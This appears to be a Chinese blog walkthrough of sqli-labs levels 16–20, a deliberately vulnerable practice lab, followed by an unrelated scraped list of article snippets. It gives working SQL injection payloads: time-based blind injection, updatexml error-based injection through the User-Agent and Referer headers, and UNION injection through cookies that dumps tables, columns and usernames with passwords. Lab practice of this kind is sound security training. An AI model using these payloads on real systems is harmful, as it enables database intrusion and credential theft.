sqli-labs 16-20
less 16:
和less 15基本一致,只是对参数进行了 ") 的包裹,注意闭合语句使用延时注入即可。
下面给一个payload示例:
uname=admin")and if((left(database(),1)>'a'),1,sleep(3))#&passwd=11&submit=Submit
这里猜解成功就会显示登录成功,失败了会页面会延时3s跳转出失败的提示信息。
less 17:
可以看到这是一个修改密码的界面:
输入:
username:admin
new password:11‘
出现错误,通过源码也可以知道是password被 " 包裹在password处闭合 " 即可
其他步骤与上面几关差不多了,利用延时注入即可。(本关也可以使用报错注入下面延时报错注入)
报错注入:
less 18:
源码中在check_input()函数对username和password进行了各种转义,所以我们寻找新的注入点。
发现:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
源码中操作了将useragent和ip插入到数据库中,所以注入点应该是在这里,因为修改ip不方便,所以我们修改useragent。
1.用burp suite或live https headers(火狐插件)抓包并修改useragent,下面用burp suite演示
抓到包后发送到repeater
在headers部分修改useragent来构造payload
这里用到报错注入:
首先concat()函数,连接多个字符串
updateXML(XML_document,XPath_string,new_value)
第一个参数:XML_document是string格式
第二个参数:XPath_string(XPath格式的字符串)
第三个参数:new_value,string格式,替换查找到的符合条件的数据。
函数功能演示:
select updatexml(1,concat(0x7e,(select username from 'users' limit 0,1),0x7e),1);
这里concat会把select查到的username列的第一个字段也就是Dumb和~(0x7e)连接起来,也就是
~Dumb~ 而这显然不符合XPath_string格式,这时会产生报错,报错时会把concat的内容回显出来。
也就是利用concat执行我们构造的payload,再利用updatexml的报错机制将payload获取到的内容
(执行结果)返回。
关于上面(包括下面也会)用到0x7e,而且只用这个,网上解释为不加的话返回内容很可能被吃掉部分,
据说是updatexml的特性。
构造payload示例:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1) or '1'='1
或 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1) ,'','')#
主要是第二个payload可能难以理解,我给大家稍解释一下。
源码:$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
在后台执行的是“”中的insert into语句,我们的注入点选择的是uagent,那这里不仅要闭合头部,还要注意后面的 ip和uname 缺一不可,所以用#注释的时候要先用 ' 闭合 id 和 uname 以及 )之后再用#
演示得到数据库
得到表名:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '1'='1
用limit参数控制想要获取第几个表名。
剩下步骤基本与less 1 一致,在uagent部分构造payload即可。
less 19
username:admin
password:admin
登录成功后看到:与18关类似,只不过这里注入要通过Referer,而不是uagent
依旧是抓包、改包、构造payload:
改头部的Referer部分为:' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
上面的payload也可以换成下面这句,通过源码发现insert相较于less 18 少了一个参数:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
那么可这么构造:
' or updatexml(1,concat(0x7e,database(),0x7e),1),'')#
接下来与less 18基本一致 不再赘述。
less 20:
username:admin
password:admin
登录之后可以看到如下界面:
首先关于源代码cookie设置了几个判断语句:
1.判断cookie中的uname是否被设置,若没有,返回的是登录前要求输入username和password的界面,只有登录成功才会发放cookie。
2.如果uname非空,判断用户是否选择删除cookie,若没有删除,则用uname作为参数查询数据库返回信息(所以这里cookie是注入点)
ps:如果抓到的包cookie里面不像下图那样有uname=*****的内容的话需要重新抓,否则进不去登录成功的页面
3.如过点击了delete cookie 则cookie的有效时间变为负值
这里cue几个点:
1.需要抓正确的用户名和密码的包才能得到有效cookie
2.构造payload时,语句应为 cookie: uname=' ************ ,没有uname=的话返回的是登录前的界面。
ok 下面还是利用burp suite工具,更改cookie的值构造payload即可。
比如这里 cookie: uname=' union select 1,2,3# 判断显示位,只有2,3回显
剩下的基本和less 1一致,爆库,爆表,爆列,获取信息。
爆表:
cookie:uname='union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列:
cookie:uname='union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
获取信息:
cookie:unmae='union select 1,2,group_concat(concat_ws('-',username,password)) from 'users'#
sqli-labs 16-20的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 【Teradata】安装SQL Assistant和Administrator 16.20(含查看.net版本)
1.安装介质获取: 获取的路径:connections==>Gateways==>Customer Services==>TOOLS & APPLICATIONS(点击Mor ...
- Jmeter分布式(转)jmeter -n -t baidu.jmx -l result.jtl -R 172.16.20.146:1099
1.准备2台在同一个局域网内的机器,一台作为master主控机,一台作为slave 执行机 master机器ip:172.16.20.134 slave机器ip:172.16.20.146 2.在2台 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 编写高质量代码:改善Java程序的151个建议(第1章:JAVA开发中通用的方法和准则___建议16~20)
建议16:易变业务使用脚本语言编写 Java世界一直在遭受着异种语言的入侵,比如PHP,Ruby,Groovy.Javascript等,这些入侵者都有一个共同特征:全是同一类语言-----脚本语言,它 ...
- Currency Exchange 分类: POJ 2015-07-14 16:20 10人阅读 评论(0) 收藏
Currency Exchange Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 22180 Accepted: 8015 De ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
随机推荐
- Mybatis:Mybatis 逆向工程 generator配置
一.使用Maven方式引入Mybatis依赖Jar包(版本号自己改或定义)
- Redis和Memcached到底有什么区别?
前言 我们都知道,Redis和Memcached都是内存数据库,它们的访问速度非常之快.但我们在开发过程中,这两个内存数据库,我们到底要如何选择呢?它们的优劣都有哪些?为什么现在看Redis要比Mem ...
- buu Youngter-drive
一.查壳,发现是upx的壳,用自解压方式,脱下壳 二.之后发现打不开了,应该是要修复,不想修复了,直接拖入ida 找到关键函数,中间发生一点小插曲,发现堆栈不平衡,然后导致F5反编译失败,百度了下是A ...
- 文末送书四本 | 这篇Java反射机制太经典!不看后悔!
先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员. 价值:Java技能,面试经验指导,简历优化,职场规划指导,技能提升方法,讲不完的职场故事,个人成长经 ...
- Vue使用PrintJs自定义打印表格模板
这俩天客户提了个需求,需要打印俩个自定义的表格模板,一开始想到的是打印Json表格,但是发现表格样式不符合要求,后来想着打印html,自己生成html模板然后打印,基本可以满足客户的需求,废话不多说, ...
- (精)题解 guP2860 [USACO06JAN]冗余路径Redundant Paths
(写题解不容易,来我的博客玩玩咯qwq~) 该题考察的知识点是边双连通分量 边双连通分量即一个无向图中,去掉一条边后仍互相连通的极大子图.(单独的一个点也可能是一个边双连通分量) 换言之,一个边双连通 ...
- Cobbler自动部署装机 轻松解决装机烦恼
Cobbler自动部署装机一.实验准备二.搭建步骤1.导入epel源2.安装Cobbler以及其相关服务软件包3.修改Cobbler 主配置文件4.启动相关服务并关闭防火墙和selinux5.使用co ...
- Redis 6.0 新特性:带你 100% 掌握多线程模型
Redis 官方在 2020 年 5 月正式推出 6.0 版本,提供很多振奋人心的新特性,所以备受关注. 码老湿,提供了啥特性呀?知道了我能加薪么? 主要特性如下: 多线程处理网络 IO: 客户端缓存 ...
- PyVista:一款Python的三维可视化软件
技术背景 三维可视化是一项在工业领域中非常重要的技术,而Python中最热门的可视化工具matplotlib和plotly,更加倾向于在数据领域的可视化,用于展现数据的结果.类似的还有百度的pyech ...
- python之数据驱动ddt操作(方法一)
下载ddt并安装 Pip install ddt 或者官网下载安装 http://ddt.readthedocs.io/en/latest/ https://github.com/txels/ddt ...